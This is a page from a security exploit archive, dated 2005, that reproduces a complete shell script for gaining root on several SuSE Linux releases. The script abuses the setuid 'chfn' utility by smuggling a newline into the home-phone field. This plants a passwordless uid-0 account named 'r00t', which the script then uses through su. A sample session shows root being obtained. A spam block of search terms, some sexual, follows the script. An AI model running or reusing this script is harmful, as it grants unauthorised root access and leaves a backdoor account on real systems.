about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , SuSE Linux pwdutils "chfn" Utility Local Privilege Escalation (Root) Exploit



2005-11-08 SuSE Linux pwdutils "chfn" Utility Local Privilege Escalation (Root) Exploit
Rated as : Moderate Risk 

#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger <susechfn@hunger.hu>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
echo "No SHELL environment, using /bin/sh for default."
export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
/bin/echo "Type your current password to get root... :)"
/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER
> /dev/null
if [ -u /bin/su ]; then
/bin/su r00t
/bin/echo "You can get root again with 'su r00t'"
else 
echo "/bin/su file is not setuid root :("
fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi
securitydot.net - 2005-11-08

Advertising

Copyright 2007, SecurityDot
Sat, 05 Dec 2009 17:22:54 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
WWW SIX FI Www.free t Animal sex 3_c_3_ e_5 p...elf/en www.Sexygi Crack Data phppgadmin indianlive Anialsex.c jenna jems c013612 C99Shell PHP 4.3.2 Funmaza.Co kesecik phpBB por All sex wo www.fox@se www.i50.ne www.2018dy www.vkonta local root www.WAPTRI japananime Indiasex4u WWW.PICHUN All images www.trish OpenBSD ft www.2018dy *.jpej www.freear index.php? gambar nar vasp WWW.SEX.CO Serv-U FTP Agnes moni Fast Track sexy tamil W...strato bonason.or sexes vedi VCOM Tunne phpbb+grou www.sxs.co a 082476 SEXY.VIDEO www.25781.